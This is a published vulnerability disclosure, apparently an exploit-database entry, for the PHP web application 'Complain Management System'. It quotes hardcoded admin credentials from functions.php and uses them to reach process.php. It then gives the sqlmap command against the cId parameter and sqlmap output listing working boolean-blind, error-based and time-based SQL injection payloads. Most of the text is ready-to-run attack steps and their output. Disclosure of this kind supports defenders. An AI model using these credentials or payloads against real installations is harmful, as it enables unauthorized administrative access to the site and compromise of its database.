Complain Management System - SQL injection

# Title : Complain Management System SQL Injection
# Date: 20 January 2017
# Exploit Author: Sibusiso Sishi sibusiso@ironsky.co.za
# Tested on: Windows7 x32
# Vendor: https://sourceforge.net/projects/complain-management-system/
# Version: not supplied
# Download Software: https://sourceforge.net/projects/complain-management-system/files
 
#################################################

## About The Product : ##
Complain Management is a Web based project used to manage Customer's complain Online. User can login, and Create complain, view complain details and track the status of its complain.

## Vulnerability : ## 
The functions.php file line 88 has hardcoded admin credentials.
		elseif($uType == 'admin'){
			//$_SESSION['user_id'] = $row['sid'];
			if($userName == 'admin' && $password == 'admin123'){
				$_SESSION['user_id'] = 0;
				$_SESSION['user_name'] = 'Administrator';
				$_SESSION['user_type'] = 'admin';
				header('Location: '.WEB_ROOT.'index.php');
				exit;

Using the hardcoded admin credentials we then have access to the process.php file that is vulnerable to SQL injection.

-HTTP Method : GET

- Sqlmap command: sqlmap -u "http://192.168.19.135/cms/process.php?action=deleteCust&cId=123" --cookie="PHPSESSID=q446r5fqav1qlljb7cohd29r85"

- Sqlmap Output : 
sqlmap identified the following injection point(s) with a total of 622 HTTP(s) requests:
---
Parameter: cId (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: action=deleteCust&cId=123 RLIKE (SELECT (CASE WHEN (8336=8336) THEN 123 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: action=deleteCust&cId=123 AND EXTRACTVALUE(8194,CONCAT(0x5c,0x7171706a71,(SELECT (ELT(8194=8194,1))),0x716a6b6271))

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=deleteCust&cId=123 AND (SELECT * FROM (SELECT(SLEEP(5)))fdmM)
---
[22:54:32] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.6.24
back-end DBMS: MySQL >= 5.1